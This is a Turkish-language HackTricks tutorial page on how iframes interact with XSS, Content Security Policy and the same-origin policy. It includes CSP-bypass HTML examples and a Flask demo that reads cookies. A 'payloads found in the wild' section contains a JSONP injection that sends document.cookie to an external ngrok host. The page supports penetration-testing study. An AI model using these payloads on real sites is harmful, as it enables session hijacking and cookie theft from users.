hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
2024-02-10 18:14:16 +00:00

165 lines
9.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XSS'te Iframe'ler, CSP ve SOP
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
</details>
## XSS'te Iframe'ler
Bir iframeli sayfanın içeriğini belirtmek için 3 yol vardır:
* `src` ile bir URL belirterek (URL, cross origin veya same origin olabilir)
* `src` ile `data:` protokolünü kullanarak içeriği belirterek
* İçeriği belirterek `srcdoc` kullanarak
**Ebeveyn ve Çocuk değişkenlere erişme**
```html
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
```
```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```
Eğer önceki html'e bir http sunucusu üzerinden erişirseniz (örneğin `python3 -m http.server`), tüm betiklerin çalıştığını fark edeceksiniz (çünkü bunu önleyen bir CSP yoktur). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemez** ve **yalnızca aynı site olarak kabul edilen if2 ve if3 iframe'leri orijinal penceredeki secret'e erişebilir**.\
if4'ün `null` kökenine sahip olduğuna dikkat edin.
### CSP ile İframe'ler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
{% hint style="info" %}
Lütfen, aşağıdaki bypasslarda iframeli sayfaya gelen yanıtta JS yürütmesini önleyen herhangi bir CSP başlığı olmadığını dikkate alın.
{% endhint %}
`script-src`'nin `self` değeri, JS kodunun `data:` protokolünü veya `srcdoc` özniteliğini kullanarak yürütülmesine izin vermez.\
Ancak, CSP'nin `none` değeri bile, `src` özniteliğine bir URL (tam veya sadece yol) koyan iframelerin yürütülmesine izin verecektir.\
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
```html
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Önceki CSP'nin yalnızca içerideki betiğin yürütülmesine izin verdiğine dikkat edin.\
Ancak, yalnızca `if1` ve `if2` betikleri yürütülecek, ancak yalnızca `if1` üst öğeye erişebilecek.
![](<../../.gitbook/assets/image (627) (1) (1).png>)
Bu nedenle, bir JS dosyasını sunucuya yükleyebilir ve `script-src 'none'` ile bile iframe üzerinden yükleyebilirseniz, bir CSP'yi atlayabilirsiniz. Bu, aynı site JSONP uç noktasını kötüye kullanarak da potansiyel olarak yapılabilir.
Aşağıdaki senaryo ile `script-src 'none'` ile bile bir çerez çalınabilir. Uygulamayı çalıştırın ve tarayıcınızla erişin:
```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Vahşi Doğada Bulunan Diğer Yükler <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
### Iframe sandbox
Iframe içindeki içerik, `sandbox` özelliği kullanılarak ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu özellik uygulanmaz, yani hiçbir kısıtlama yoktur.
Kullanıldığında, `sandbox` özelliği birkaç kısıtlama getirir:
- İçerik, benzersiz bir kaynaktan geldiği gibi işlenir.
- Form gönderme girişimleri engellenir.
- Scriptlerin çalıştırılması yasaktır.
- Belirli API'lere erişim devre dışı bırakılır.
- Bağlantıların diğer gezinme bağlamlarıyla etkileşimini engeller.
- `<embed>`, `<object>`, `<applet>` veya benzer etiketler aracılığıyla eklentilerin kullanımına izin verilmez.
- İçeriğin kendisi tarafından içeriğin üst düzey gezinme bağlamının gezinmesi engellenir.
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
Özniteliğin değeri, tüm yukarıda belirtilen kısıtlamaların uygulanması için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'ı belirli kısıtlamalardan muaf tutan boşlukla ayrılmış bir değer listesi olarak ayarlanabilir.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
## SOP'da Iframe'ler
Aşağıdaki sayfalara bakın:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin.
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
</details>